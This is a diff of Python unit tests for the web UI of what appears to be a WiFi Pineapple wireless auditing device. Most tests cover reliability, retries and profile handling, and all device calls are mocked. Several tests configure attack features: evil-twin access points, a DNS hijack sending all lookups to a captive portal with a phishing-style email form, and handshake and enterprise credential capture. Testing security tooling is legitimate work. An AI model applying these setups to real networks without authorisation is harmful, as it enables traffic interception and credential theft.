+                            'remote_access', 'pager-webui', 'www', 'js', 'views.js')
+        with open(path, encoding='utf-8') as source_file:
+            source = source_file.read()
+        for expected in (
+                "identity: true", "clients: true", "associated_ssid",
+                "device_identity", "associations", "Confirmed Clients",
+                "No confirmed clients", "reconLoadCols", "Object.assign"):
+            self.assertIn(expected, source)
+
+
 class ReconArchivesTest(unittest.TestCase):
     """Read-only history from pineapd-rotated databases (error-*-recon.db)."""
 
@@ -1118,18 +1456,24 @@ class WigleTest(unittest.TestCase):
         return type('C', (), {'args': args, 'body': body or {}})()
 
     def _write(self, name, content):
-        with open(os.path.join(self.dir, name), 'w') as f:
-            f.write(content)
+        raw = content.encode('utf-8') if isinstance(content, str) else content
+        path = os.path.join(self.dir, name)
+        fd = os.open(path, os.O_CREAT | os.O_WRONLY | os.O_TRUNC, 0o644)
+        try:
+            os.write(fd, raw)
+        finally:
+            os.close(fd)
 
     def test_file_rows_count_excludes_header(self):
-        self._write('a.csv', 'header\nr1\nr2\n')
-        self._write('b.csv', 'onlyheader\n')
+        payload = b'header\nr1\nr2\n'
+        self._write('a.csv', payload)
+        self._write('b.csv', b'onlyheader\n')
         status, data = server.h_recon_wigle_files(self._ctx())
         self.assertEqual(status, 200)
         files = {f['name']: f for f in data['files']}
         self.assertEqual(files['a.csv']['rows'], 2)
         self.assertEqual(files['b.csv']['rows'], 0)
-        self.assertEqual(files['a.csv']['size'], len('header\nr1\nr2\n'))
+        self.assertEqual(files['a.csv']['size'], os.path.getsize(os.path.join(self.dir, 'a.csv')))
 
     def test_file_rows_count_ignores_wigle_meta_and_header(self):
         meta = 'WigleWifi-1.6,appRelease=0.0.0,model=pineapplepager,release=0.0.0\n'

tests/test_reliability_api.py

@@ -0,0 +1,243 @@
+import os
+import sys
+import unittest
+
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
+                                'user', 'remote_access', 'pager-webui'))
+import server
+
+
+def setUpModule():
+    __import__('importlib').reload(server)
+
+
+class _Ctx(object):
+    def __init__(self, body=None):
+        self.body = body
+
+
+class ReliabilityApiTest(unittest.TestCase):
+    def setUp(self):
+        self.runs = []
+        self.old_device_run = server.device_run
+        server._health.update({
+            'sigsegv_last': None, 'last_fix': 0.0, 'fixes': 0,
+            'last_action': None, 'pineap_up': False, 'monitor_fixes': 0})
+
+        def fake_run(args, timeout=20, input_data=None):
+            self.runs.append((list(args), timeout))
+            return (0, '', '')
+
+        server.device_run = fake_run
+
+    def tearDown(self):
+        server.device_run = self.old_device_run
+        import mk8_guard
+        mk8_guard._GR_CACHE['data'] = None
+
+    def test_h_health_exposes_reliability_feed(self):
+        status, h = server.h_health(None)
+        self.assertEqual(status, 200)
+        for key in ('reliability', 'events', 'guard'):
+            self.assertIn(key, h)
+        for counter in ('boots', 'unexpected_boots', 'rollbacks',
+                        'restarts', 'guard_fixes'):
+            self.assertIn(counter, h['reliability'])
+        self.assertIsInstance(h['events'], list)
+        self.assertIn('in_sync', h['guard'])
+        self.assertIn('pool_size', h['guard'])
+
+    def test_check_boot_marker_uses_module_marker_path(self):
+        import tempfile
+        marker = tempfile.mktemp()
+        old = server.BOOT_MARKER
+        server.BOOT_MARKER = marker
+        try:
+            if os.path.exists(marker):
+                os.unlink(marker)
+            self.assertFalse(server.check_boot_marker())
+            self.assertTrue(os.path.exists(marker),
+                            'check_boot_marker must use server.BOOT_MARKER')
+            open(marker, 'w').write('0')
+            self.assertTrue(server.check_boot_marker())
+        finally:
+            if os.path.exists(marker):
+                os.unlink(marker)
+            server.BOOT_MARKER = old
+
+    def test_clean_cycle_boot_shutdown_next_boot_not_unexpected(self):
+        import tempfile
+        import threading
+        import mk8_events as events_mod
+        marker = tempfile.mktemp()
+        old = (server.BOOT_MARKER, server.LIVE_STOP, server.HEALTH_STOP,
+               server._recon_hopper_stop, events_mod.mark_boot)
+        stops = (threading.Event(), threading.Event(), threading.Event())
+        server.BOOT_MARKER = marker
+        server.LIVE_STOP, server.HEALTH_STOP, \
+            server._recon_hopper_stop = stops
+        booted = []
+        events_mod.mark_boot = \
+            lambda unexpected=False: booted.append(unexpected)
+        try:
+            # Simulate a previous run's marker left behind: boot is unexpected.
+            open(marker, 'w').write('0')
+            self.assertTrue(server.check_boot_marker())
+            self.assertEqual(booted, [True])
+            # Clean shutdown clears the marker...
+            self.assertTrue(os.path.exists(marker))
+            server._request_shutdown()
+            self.assertFalse(os.path.exists(marker),
+                             'graceful shutdown must clear the boot marker')
+            for ev in stops:
+                self.assertTrue(ev.is_set())
+            # ...so the next boot is clean and re-arms the marker.
+            self.assertFalse(server.check_boot_marker())
+            self.assertEqual(booted[-1], False)
+            self.assertTrue(os.path.exists(marker))
+            # _clear_boot_marker is best-effort on missing/None markers.
+            server._clear_boot_marker()
+            self.assertFalse(os.path.exists(marker))
+            server.BOOT_MARKER = None
+            server._clear_boot_marker()
+        finally:
+            (server.BOOT_MARKER, server.LIVE_STOP, server.HEALTH_STOP,
+             server._recon_hopper_stop, events_mod.mark_boot) = old
+            if os.path.exists(marker):
+                os.unlink(marker)
+
+    def test_profile_routes_registered(self):
+        handler, _ = server.ROUTER.dispatch('GET',
+                                            '/api/reliability/profiles')
+        self.assertEqual(handler, server.h_profiles_get)
+        handler, _ = server.ROUTER.dispatch('POST', '/api/reliability/profile')
+        self.assertEqual(handler, server.h_profile_save)
+        handler, _ = server.ROUTER.dispatch('POST', '/api/reliability/restore')
+        self.assertEqual(handler, server.h_profile_restore)
+        handler, _ = server.ROUTER.dispatch('GET', '/api/reliability/nope')
+        self.assertIsNone(handler)
+
+    def test_h_profiles_get_lists_profiles(self):
+        import mk8_profiles
+        old = mk8_profiles.list_profiles
+        mk8_profiles.list_profiles = lambda: ['a', 'b']
+        try:
+            status, data = server.h_profiles_get(None)
+        finally:
+            mk8_profiles.list_profiles = old
+        self.assertEqual(status, 200)
+        self.assertEqual(data, {'profiles': ['a', 'b']})
+
+    def test_h_profile_save_validates_saves_and_journals(self):
+        import mk8_events
+        import mk8_profiles
+        calls = {'snapshots': []}
+        events = []
+        old_snapshot, old_log = mk8_profiles.snapshot, mk8_events.log_event
+
+        def fake_snapshot(name):
+            if not all(c.isalnum() or c in '._-' for c in name) \
+                    or name in ('.', '..') or len(name) > 64:
+                raise ValueError('invalid profile name')
+            calls['snapshots'].append(name)
+            return True
+
+        def fake_log(kind, **kw):
+            events.append((kind, kw))
+
+        mk8_profiles.snapshot = fake_snapshot
+        mk8_events.log_event = fake_log
+        try:
+            status, data = server.h_profile_save(_Ctx({'name': ' pre-x-1 '}))
+            self.assertEqual(status, 200)
+            self.assertEqual(data, {'ok': True})
+            self.assertEqual(calls['snapshots'], ['pre-x-1'])
+            self.assertEqual(events[-1][0], 'profile_save')
+
+            status, data = server.h_profile_save(_Ctx({'name': '   '}))
+            self.assertEqual(status, 400)
+            self.assertIn('error', data)
+
+            status, data = server.h_profile_save(_Ctx({'name': '../evil'}))
+            self.assertEqual(status, 400)
+            self.assertIn('error', data)
+            self.assertEqual(calls['snapshots'], ['pre-x-1'])
+
+            status, data = server.h_profile_save(_Ctx({}))
+            self.assertEqual(status, 400)
+
+            def failed_snapshot(name):
+                calls['snapshots'].append(name)
+                return False
+            mk8_profiles.snapshot = failed_snapshot
+            status, data = server.h_profile_save(_Ctx({'name': 'p2'}))
+            self.assertEqual(status, 502)
+            self.assertFalse(data['ok'])
+            self.assertEqual(events[-1][0], 'profile_save')
+            self.assertEqual(events[-1][1].get('sev'), 'warn')
+        finally:
+            mk8_profiles.snapshot = old_snapshot
+            mk8_events.log_event = old_log
+
+    def test_h_profile_restore_gated_reload_journal(self):
+        import mk8_gate
+        import mk8_events
+        import mk8_profiles
+        calls = {'gate': [], 'events': []}
+        olds = (mk8_gate.enter, mk8_profiles.restore, mk8_events.log_event)
+
+        def fake_enter(op):
+            calls['gate'].append(op)
+            return 'snap-1'
+
+        def fake_restore(name):
+            calls['restored'] = name
+            return {'ok': True, 'restored': ['wireless']}
+
+        def fake_log(kind, **kw):
+            calls['events'].append((kind, kw))
+
+        mk8_gate.enter = fake_enter
+        mk8_profiles.restore = fake_restore
+        mk8_events.log_event = fake_log
+        try:
+            status, result = server.h_profile_restore(_Ctx({'name': 'p1'}))
+            self.assertEqual(status, 200)
+            self.assertEqual(result, {'ok': True, 'restored': ['wireless']})
+            self.assertEqual(calls['gate'], ['restore_profile'])
+            self.assertEqual(calls['restored'], 'p1')
+            reloads = [r for r in self.runs if r[0][:2] == ['wifi', 'reload']]
+            self.assertEqual(len(reloads), 1)
+            # post-restore convergence parks the factory-enabled dummy STA
+            parked = [r for r in self.runs
+                      if r[0][:3] == ['uci', 'set',
+                                      'wireless.dummy_radio0.disabled=1']]
+            self.assertEqual(len(parked), 1)
+            downs = [r for r in self.runs if r[0][:4] == ['ip', 'link',
+                                                          'set', 'wlan0']]
+            self.assertTrue(downs)
+            raises = [r for r in self.runs if r[0][:4] == ['ip', 'link',
+                                                           'set', 'wlan0mon']]
+            self.assertTrue(raises)
+            self.assertEqual(calls['events'][-1][0], 'profile_restore')
+
+            def missing_restore(name):
+                calls['restored'] = name
+                return {'ok': False, 'restored': [], 'error': 'not found'}
+            mk8_profiles.restore = missing_restore
+            status, result = server.h_profile_restore(
+                _Ctx({'name': 'missing'}))
+            self.assertEqual(status, 502)
+            self.assertFalse(result['ok'])
+            self.assertEqual(calls['events'][-1][0], 'profile_restore')
+            self.assertEqual(calls['events'][-1][1].get('sev'), 'warn')
+
+            status, result = server.h_profile_restore(_Ctx({'name': ''}))
+            self.assertEqual(status, 400)
+        finally:
+            (mk8_gate.enter, mk8_profiles.restore,
+             mk8_events.log_event) = olds
+
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_robustness.py

@@ -0,0 +1,206 @@
+import os
+import sys
+import unittest
+from unittest import mock
+
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import server
+
+
+def setUpModule():
+    __import__('importlib').reload(server)
+
+
+def ctx(body=None):
+    return type('C', (), {'body': body, 'args': (), 'query': {}})()
+
+
+class DaemonRetryTest(unittest.TestCase):
+    def setUp(self):
+        self.old_sleep = server.DAEMON_SOCK_RETRY_SLEEP
+        self.old_retries = server.DAEMON_SOCK_RETRIES
+        server.DAEMON_SOCK_RETRY_SLEEP = 0
+        server.DAEMON_SOCK_RETRIES = 2
+
+    def tearDown(self):
+        server.DAEMON_SOCK_RETRY_SLEEP = self.old_sleep
+        server.DAEMON_SOCK_RETRIES = self.old_retries
+
+    def test_sock_retries_then_succeeds(self):
+        attempts = {'n': 0}
+
+        class Sock:
+            def __init__(self):
+                self.chunks = [b'HTTP/1.1 200 OK\r\n\r\n{"ok":true}', b'']
+
+            def settimeout(self, t):
+                pass
+
+            def connect(self, addr):
+                attempts['n'] += 1
+                if attempts['n'] < 2:
+                    raise OSError('busy')
+
+            def sendall(self, data):
+                pass
+
+            def recv(self, n):
+                return self.chunks.pop(0) if self.chunks else b''
+
+            def close(self):
+                pass
+
+        with mock.patch.object(server.socket, 'socket', lambda *a, **k: Sock()):
+            status, data = server.daemon_sock_call('GET', '/api/pineap/get_config')
+        self.assertEqual(attempts['n'], 2)
+        self.assertEqual(status, 200)
+        self.assertEqual(data, {'ok': True})
+
+    def test_call_retries_on_oserror(self):
+        attempts = {'n': 0}
+
+        def boom(*a, **k):
+            attempts['n'] += 1
+            raise OSError('down')
+
+        with mock.patch.object(server.socket, 'socket', boom):
+            status, data = server.daemon_call('GET', '/api/api_ping')
+        self.assertEqual(attempts['n'], 3)
+        self.assertEqual(status, 0)
+        self.assertIsNone(data)
+
+
+class ConfigWriteSafetyTest(unittest.TestCase):
+    def setUp(self):
+        self.old_sock = server.daemon_sock_call
+
+    def tearDown(self):
+        server.daemon_sock_call = self.old_sock
+    def test_set_config_refuses_when_get_fails(self):
+        calls = []
+
+        def fake(method, path, body=None, timeout=10):
+            calls.append((method, path))
+            if method == 'GET':
+                return 0, None
+            return 200, {'success': True}
+
+        server.daemon_sock_call = fake
+        status, payload = server.h_pineap_set_config(ctx({'loghandshake': True}))
+        self.assertEqual(status, 502)
+        self.assertIn('could not read', payload['error'])
+        self.assertFalse(any(c[0] == 'PUT' for c in calls))
+
+    def test_hostapd_set_refuses_when_get_fails(self):
+        calls = []
+
+        def fake(method, path, body=None, timeout=10):
+            calls.append((method, path))
+            if method == 'GET':
+                return 0, None
+            return 200, {'success': True}
+
+        server.daemon_sock_call = fake
+        status, payload = server.h_pineap_hostapd_set(ctx({'pineape_auth_pass': True}))
+        self.assertEqual(status, 502)
+        self.assertFalse(any(c[0] == 'PUT' for c in calls))
+
+
+class Hak5RetryTest(unittest.TestCase):
+    def setUp(self):
+        self.old_sleep = server.HAK5_RETRY_SLEEP
+        self.old_run = server.device_run
+        server.HAK5_RETRY_SLEEP = 0
+
+    def tearDown(self):
+        server.HAK5_RETRY_SLEEP = self.old_sleep
+        server.device_run = self.old_run
+
+    def test_hak5_raises_after_retries(self):
+        calls = []
+
+        def fake(args, timeout=20, input_data=None):
+            calls.append(args)
+            return 1, '', 'busy'
+
+        server.device_run = fake
+        with self.assertRaises(RuntimeError):
+            server.hak5('PINEAPPLE_SSID_POOL_LIST')
+        self.assertEqual(len(calls), 3)
+
+    def test_hak5_succeeds_on_retry(self):
+        calls = []
+
+        def fake(args, timeout=20, input_data=None):
+            calls.append(args)
+            if len(calls) < 2:
+                return 1, '', 'busy'
+            return 0, 'ok\n', ''
+
+        server.device_run = fake
+        out = server.hak5('PINEAPPLE_SSID_POOL_LIST')
+        self.assertEqual(out, 'ok\n')
+        self.assertEqual(len(calls), 2)
+
+    def test_hak5_treats_error_text_as_failure(self):
+        calls = []
+
+        def fake(args, timeout=20, input_data=None):
+            calls.append(args)
+            return 0, '', 'ERROR: invalid time (expected number of seconds)'
+
+        server.device_run = fake
+        with self.assertRaises(RuntimeError):
+            server.hak5('PINEAPPLE_EXAMINE_CHANNEL', '140')
+        self.assertEqual(len(calls), 3)
+
+
+class SsidPoolFailureTest(unittest.TestCase):
+    def setUp(self):
+        self.old_hak5 = server.hak5
+
+    def tearDown(self):
+        server.hak5 = self.old_hak5
+    def test_ssids_post_add_returns_502_on_hak5_failure(self):
+        server.hak5 = lambda *a, **k: (_ for _ in ()).throw(RuntimeError('busy'))
+        status, payload = server.h_ssids_post(ctx({'action': 'add', 'ssid': 'NewNet'}))
+        self.assertEqual(status, 502)
+        self.assertIn('ssid pool update failed', payload['error'])
+
+    def test_examine_returns_502_on_hak5_failure(self):
+        server.hak5 = lambda *a, **k: (_ for _ in ()).throw(RuntimeError('busy'))
+        status, payload = server.h_recon_examine(type('C', (), {
+            'args': (), 'body': {'bssid': 'AA:BB:CC:DD:EE:FF'}})())
+        self.assertEqual(status, 502)
+        self.assertEqual(payload['error'], 'examine failed')
+
+
+class AdvertiseBlockTest(unittest.TestCase):
+    def setUp(self):
+        self.old_proxy = server._daemon_proxy
+        self.old_uci = server._uci_section
+
+    def tearDown(self):
+        server._daemon_proxy = self.old_proxy
+        server._uci_section = self.old_uci
+    def test_advertise_enable_always_refused(self):
+        server._uci_section = lambda name: {'disable': '0'}
+        calls = []
+        server._daemon_proxy = lambda method, path, body=None, timeout=15: (
+            calls.append((method, path, body)) or (200, {'success': True}))
+        status, payload = server.h_pineap_advertise(ctx({'enable': True}))
+        self.assertEqual(status, 400)
+        self.assertIn('cannot be re-enabled', payload['error'])
+        self.assertEqual(calls, [])
+
+    def test_advertise_disable_still_proxies(self):
+        calls = []
+        server._daemon_proxy = lambda method, path, body=None, timeout=15: (
+            calls.append(path) or (200, {'success': True}))
+        status, payload = server.h_pineap_advertise(ctx({'enable': False}))
+        self.assertEqual(status, 200)
+        self.assertEqual(calls, ['ssidpool/disable'])
+
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_shutdown.py

@@ -0,0 +1,159 @@
+import os
+import shutil
+import sys
+import tempfile
+import unittest
+
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
+import server
+
+
+class PagerTruthTest(unittest.TestCase):
+    def setUp(self):
+        self.uci = {
+            'pineapd.wlan1mon.hop': '1',
+            'pineapd.wlan2mon.disable': '0',
+            'wireless.dummy_radio0.disabled': '0',
+            'wireless.radio1.channel': 'auto',
+            'wireless.radio1.band': '5g',
+            'wireless.wlan1open': None,
+            'wireless.wlan1wpa': None,
+        }
+        self.ifaces = {}
+        fd, self.snap = tempfile.mkstemp(suffix='.json')
+        os.close(fd)
+        os.unlink(self.snap)
+        self.old_file = server.PAGER_SNAPSHOT_FILE
+        self.old_pineap = server.PINEAP_STATE_FILE
+        server.PAGER_SNAPSHOT_FILE = self.snap
+        server.PINEAP_STATE_FILE = self.snap + '.pineap'
+        self.old_run = server.device_run
+        server.device_run = self.fake_run
+        self.old_ent = server._disable_enterprise_ap
+        server._disable_enterprise_ap = lambda resume_hop=True: None
+
+    def tearDown(self):
+        server.device_run = self.old_run
+        server._disable_enterprise_ap = self.old_ent
+        server.PAGER_SNAPSHOT_FILE = self.old_file
+        server.PINEAP_STATE_FILE = self.old_pineap
+        for path in (self.snap, self.snap + '.tmp', self.snap + '.pineap'):
+            try:
+                os.unlink(path)
+            except OSError:
+                pass
+
+    def fake_run(self, args, timeout=20, input_data=None):
+        a = list(args)
+        if a[:2] == ['uci', '-q'] and a[2] == 'get':
+            key = a[3]
+            if key.startswith('wireless.') and key.count('.') == 1:
+                name = key.split('.', 1)[1]
+                if name in self.ifaces:
+                    return 0, 'wifi-iface\n', ''
+                return 1, '', ''
+            val = self.uci.get(key)
+            if val is None:
+                return 1, '', ''
+            return 0, val + '\n', ''
+        if a[:2] == ['uci', 'show']:
+            sec = a[2]
+            name = sec.split('.', 1)[-1]
+            cfg = self.ifaces.get(name) or {}
+            body = ''.join("%s.%s='%s'\n" % (sec, k, v) for k, v in cfg.items())
+            return (0, body, '') if cfg or name in self.ifaces else (1, '', '')
+        if a[:2] == ['uci', 'set']:
+            expr = a[2]
+            if '=' not in expr:
+                return 0, '', ''
+            key, _, val = expr.partition('=')
+            parts = key.split('.')
+            if len(parts) == 2 and parts[0] == 'wireless' and val == 'wifi-iface':
+                self.ifaces.setdefault(parts[1], {})
+                return 0, '', ''
+            if len(parts) == 3 and parts[0] == 'wireless' and (
+                    parts[1] in self.ifaces or parts[1] in ('wlan1open', 'wlan1wpa', 'wlan1ent')):
+                self.ifaces.setdefault(parts[1], {})[parts[2]] = val
+                return 0, '', ''
+            self.uci[key] = val
+            return 0, '', ''
+        if a[:2] == ['uci', 'delete']:
+            key = a[2]
+            parts = key.split('.')
+            if len(parts) == 2 and parts[0] == 'wireless':
+                self.ifaces.pop(parts[1], None)
+            self.uci.pop(key, None)
+            return 0, '', ''
+        if a[:2] == ['uci', 'commit']:
+            return 0, '', ''
+        if a[0] in ('wifi', '/etc/init.d/pineapd', 'kill', 'iw'):
+            return 0, '', ''
+        return 0, '', ''
+
+    def test_restore_reverts_radio1_ap_and_hop(self):
+        server.capture_pager_snapshot()
+        self.assertTrue(os.path.isfile(self.snap))
+        self.uci['pineapd.wlan1mon.hop'] = '0'
+        self.ifaces['wlan1open'] = {'ssid': 'EvilTwin', 'disabled': '0', 'device': 'radio1'}
+        self.uci['wireless.dummy_radio0.disabled'] = '1'
+        result = server.restore_pager_truth()
+        self.assertTrue(result['ok'])
+        self.assertTrue(result['restored'])
+        self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
+        self.assertNotIn('wlan1open', self.ifaces)
+        self.assertEqual(self.uci['wireless.dummy_radio0.disabled'], '0')
+        self.assertFalse(os.path.isfile(self.snap))
+
+    def test_restore_without_snapshot_is_safe(self):
+        result = server.restore_pager_truth()
+        self.assertTrue(result['ok'])
+        self.assertFalse(result['restored'])
+        self.assertEqual(result['reason'], 'no snapshot')
+
+    def test_mode_get_reports_snapshot(self):
+        server.capture_pager_snapshot()
+        status, payload = server.h_mode_get(None)
+        self.assertEqual(status, 200)
+        self.assertTrue(payload['snapshot'])
+        self.assertTrue(payload['markviii'])
+        self.assertEqual(payload['pager_port'], 1471)
+
+    def test_payload_refresh_falls_back_to_disk(self):
+        tmp = tempfile.mkdtemp()
+        self.addCleanup(lambda: shutil.rmtree(tmp, ignore_errors=True))
+        payload_dir = tmp
+        for part in ('user', 'games', 'snake'):
+            payload_dir = os.path.join(payload_dir, part)
+            if not os.path.isdir(payload_dir):
+                os.mkdir(payload_dir)
+        with open(os.path.join(payload_dir, 'payload.sh'), 'w') as handle:
+            handle.write('#!/bin/sh\n')
+        old_roots = server.PAYLOAD_ROOTS
+        old_daemon = server._payload_daemon
+        server.PAYLOAD_ROOTS = (tmp,)
+        server._payload_daemon = lambda *a, **k: (500, {'error': 'portal down'})
+        try:
+            status, data = server.h_payloads_refresh(None)
+        finally:
+            server.PAYLOAD_ROOTS = old_roots
+            server._payload_daemon = old_daemon
+        self.assertEqual(status, 200)
+        self.assertEqual(len(data['payloads']), 1)
+        self.assertEqual(data['payloads'][0]['key'], 'user~games~snake')
+        self.assertIn('warning', data)
+
+    def test_respawn_keeps_original_snapshot(self):
+        server.capture_pager_snapshot()
+        self.uci['pineapd.wlan1mon.hop'] = '0'
+        server.capture_pager_snapshot()
+        result = server.restore_pager_truth()
+        self.assertTrue(result['restored'])
+        self.assertEqual(self.uci['pineapd.wlan1mon.hop'], '1')
+
+    def test_uci_get_keeps_settings_default(self):
+        self.assertEqual(server._uci_get('missing.key', 'UTC'), 'UTC')
+        self.assertIsNone(server._uci_get('missing.key'))
+
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_status.py

@@ -43,6 +43,20 @@ class StatusTest(unittest.TestCase):
         d = server.disk_data()
         self.assertEqual(d['avail'], 7364608 * 1024)
 
+    def test_mem_parses_meminfo(self):
+        import tempfile
+        base = tempfile.mkdtemp()
+        with open(os.path.join(base, 'meminfo'), 'w') as f:
+            f.write('MemTotal:        262144 kB\nMemFree:          102400 kB\nMemAvailable:    122880 kB\nBuffers:           20480 kB\n')
+        d = server.mem_data(os.path.join(base, 'meminfo'))
+        self.assertEqual(d['size'], 262144 * 1024)
+        self.assertEqual(d['used'], (262144 - 122880) * 1024)
+        self.assertEqual(d['avail'], 122880 * 1024)
+
+    def test_mem_missing_returns_empty(self):
+        import tempfile
+        self.assertEqual(server.mem_data(os.path.join(tempfile.mkdtemp(), 'nope')), {})
+
     def test_wifi_ifaces_extracts_names(self):
         server.device_run = lambda args, timeout=20: (0, 'wlan0    ESSID: "Pineapple"\nwlan1    ESSID: "Pineapple"\n', '') if args == ['iwinfo'] else (0, '', '')
         self.assertEqual(server.wifi_ifaces(), ['wlan0', 'wlan1'])
@@ -51,6 +65,8 @@ class StatusTest(unittest.TestCase):
         def fake(args, timeout=20):
             if args == ['iwinfo']:
                 return 0, 'wlan0    ESSID: "Pineapple"\n', ''
+            if args[0] == 'iw':
+                return 1, '', 'busy'
             if args == ['iwinfo', 'wlan0', 'assoclist']:
                 return 0, '00:11:22:33:44:55  -64 dBm  Signal: -64 dBm  Rate: 12 Mbit/s\nAA:BB:CC:DD:EE:FF  -40 dBm  Signal: -40 dBm  Rate: 24 Mbit/s\n', ''
             return 0, '', ''
@@ -61,6 +77,23 @@ class StatusTest(unittest.TestCase):
         self.assertEqual(clients[0]['rssi'], -64)
         self.assertEqual(clients[0]['iface'], 'wlan0')
 
+    def test_assoc_clients_skips_monitor_ifaces(self):
+        def fake(args, timeout=20):
+            if args == ['iwinfo']:
+                return 0, 'wlan0mon    ESSID: unknown\nwlan0wpa    ESSID: "x"\n', ''
+            if args[0] == 'iw' and len(args) > 2 and args[2] == 'wlan0mon':
+                raise AssertionError('must not query monitor ifaces')
+            if args[:2] == ['iwinfo', 'wlan0mon']:
+                raise AssertionError('must not query monitor ifaces')
+            if args == ['iw', 'dev', 'wlan0wpa', 'station', 'dump']:
+                return 0, 'Station aa:bb:cc:dd:ee:ff (on wlan0wpa)\n\tsignal: -50 dBm\n', ''
+            return 1, '', ''
+        server.device_run = fake
+        clients = server.assoc_clients()
+        self.assertEqual(len(clients), 1)
+        self.assertEqual(clients[0]['mac'], 'AA:BB:CC:DD:EE:FF')
+        self.assertEqual(clients[0]['iface'], 'wlan0wpa')
+
     def test_h_status_shape(self):
         server.device_run = lambda args, timeout=20: (0, '', '')
         server.current_token = lambda: 'tok'
@@ -70,7 +103,7 @@ class StatusTest(unittest.TestCase):
             args = ()
         status, payload = server.h_status(Ctx())
         self.assertEqual(status, 200)
-        for k in ('battery', 'firmware', 'daemon', 'wifi', 'clients', 'disk', 'uptime', 'hostname'):
+        for k in ('battery', 'firmware', 'daemon', 'wifi', 'clients', 'disk', 'mem', 'uptime', 'hostname'):
             self.assertIn(k, payload)
 
     def test_status_discovers_wifi_interfaces_once(self):

tests/test_validation_fixes.py

@@ -0,0 +1,359 @@
+"""Regression tests for validation-suite findings (#1-#5).
+
+#1 portal zip import without zipfile/pathlib/urllib (python3-light)
+#2 DNS hijack uses uci add_list/del_list (list option, not string option)
+#3 radio1 attack APs are bridged into br-lan (uci ports list + runtime brctl)
+#4 5 GHz WPA deploys restart pineapd after setting mgmtiface so handshake
+   logging engages (reload is not enough)
+#5 enterprise deploy links ctrl then restarts pineapd (not reload) so
+   PineAPE auth-pass events reach recon.db
+"""
+import base64
+import io
+import json
+import os
+import shutil
+import sys
+import tempfile
+import unittest
+import zipfile
+
+sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
+                                'user', 'remote_access', 'pager-webui'))
+import server
+
+
+def setUpModule():
+    __import__('importlib').reload(server)
+
+
+def ctx(body=None):
+    return type('C', (), {'body': body or {}, 'args': (), 'query': {}})()
+
+
+class FakeUciDevice:
+    """In-memory uci + device_run fake with add_list/del_list support."""
+
+    def __init__(self):
+        self.state = {}
+        self.lists = {}
+        self.runs = []
+        self.sock = []
+
+    def device_run(self, args, timeout=20, input_data=None):
+        self.runs.append((list(args), input_data))
+        a = list(args)
+        if a[:2] == ['uci', 'set']:
+            k, _, v = a[2].partition('=')
+            self.state[k] = v
+        elif a[:2] == ['uci', 'add_list']:
+            k, _, v = a[2].partition('=')
+            self.lists.setdefault(k, [])
+            if v not in self.lists[k]:
+                self.lists[k].append(v)
+        elif a[:2] == ['uci', 'del_list']:
+            k, _, v = a[2].partition('=')
+            lst = self.lists.get(k, [])
+            if v in lst:
+                lst.remove(v)
+        elif a[:2] == ['uci', 'get']:
+            return (0, self.state.get(a[2], '') + '\n', '')
+        elif a[:2] == ['uci', 'delete']:
+            for k in list(self.state):
+                if k == a[2] or k.startswith(a[2] + '.'):
+                    del self.state[k]
+            self.lists.pop(a[2], None)
+        elif a[:2] == ['uci', 'show']:
+            sec = a[2]
+            out = ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
+                          if k == sec or k.startswith(sec + '.'))
+            return (0, out, '')
+        elif a[0] == 'hostapd_cli' and a[-1] == 'status':
+            return (0, 'state=ENABLED\nssid[0]=test\n', '')
+        return (0, '', '')
+
+    def daemon_sock_call(self, method, path, body=None, timeout=10):
+        self.sock.append((method, path, body))
+        if path == '/api/pineap/hostapd/get_config':
+            return 200, {'pineape_disabled': False,
+                         'pineape_auth_pass': True}
+        return 200, {'success': True}
+
+
+INDEX_PHP = b'<html><form method="post"><input name="email"></form></html>'
+
+
+def make_zip(files, top_dir=None):
+    buf = io.BytesIO()
+    with zipfile.ZipFile(buf, 'w') as zf:
+        for name, data in files.items():
+            zf.writestr((top_dir + '/' if top_dir else '') + name, data)
+    return buf.getvalue()
+
+
+class BlockZipfile:
+    """Import hook that simulates python3-light: no zipfile module."""
+
+    def find_module(self, fullname, path=None):  # noqa: D401 (legacy hook ok)
+        return self if fullname == 'zipfile' else None
+
+    def find_spec(self, fullname, path=None, target=None):
+        if fullname == 'zipfile':
+            raise ImportError('No module named \'zipfile\'')
+        return None
+
+    def load_module(self, fullname):
+        raise ImportError('No module named \'zipfile\'')
+
+
+class DnsHijackListOpsTest(unittest.TestCase):
+    """#2: hijack must use uci list ops so dnsmasq init sees the option."""
+
+    def setUp(self):
+        self.f = FakeUciDevice()
+        self.old_run = server.device_run
+        server.device_run = self.f.device_run
+
+    def tearDown(self):
+        server.device_run = self.old_run
+
+    def test_enable_uses_add_list_never_set(self):
+        server._portal_dns_hijack(True)
+        cmds = [r[0] for r in self.f.runs]
+        add = [c for c in cmds if c[:2] == ['uci', 'add_list']]
+        self.assertEqual(len(add), 1)
+        self.assertTrue(add[0][2].startswith('dhcp.@dnsmasq[0].address=/#/'))
+        self.assertNotIn(['uci', 'set', 'dhcp.@dnsmasq[0].address=/#/172.16.52.1'],
+                         cmds)
+
+    def test_enable_is_idempotent_del_before_add(self):
+        server._portal_dns_hijack(True)
+        server._portal_dns_hijack(True)
+        adds = [r for r, _ in self.f.runs
+                if r[:2] == ['uci', 'add_list']]
+        dels = [r for r, _ in self.f.runs
+                if r[:2] == ['uci', 'del_list']]
+        self.assertEqual(len(adds), 2)
+        self.assertEqual(len(dels), 2)
+        self.assertEqual(self.f.lists.get('dhcp.@dnsmasq[0].address'),
+                         ['/#/172.16.52.1'])
+
+    def test_disable_removes_entry_and_restarts_dnsmasq(self):
+        server._portal_dns_hijack(True)
+        before = len(self.f.runs)
+        server._portal_dns_hijack(False)
+        tail = [r for r, _ in self.f.runs[before:]]
+        self.assertEqual(self.f.lists.get('dhcp.@dnsmasq[0].address'), [])
+        self.assertIn(['/etc/init.d/dnsmasq', 'restart'], tail)
+
+
+class ZipImportWithoutZipfileTest(unittest.TestCase):
+    """#1: import must work where zipfile/pathlib/urllib are absent."""
+
+    def setUp(self):
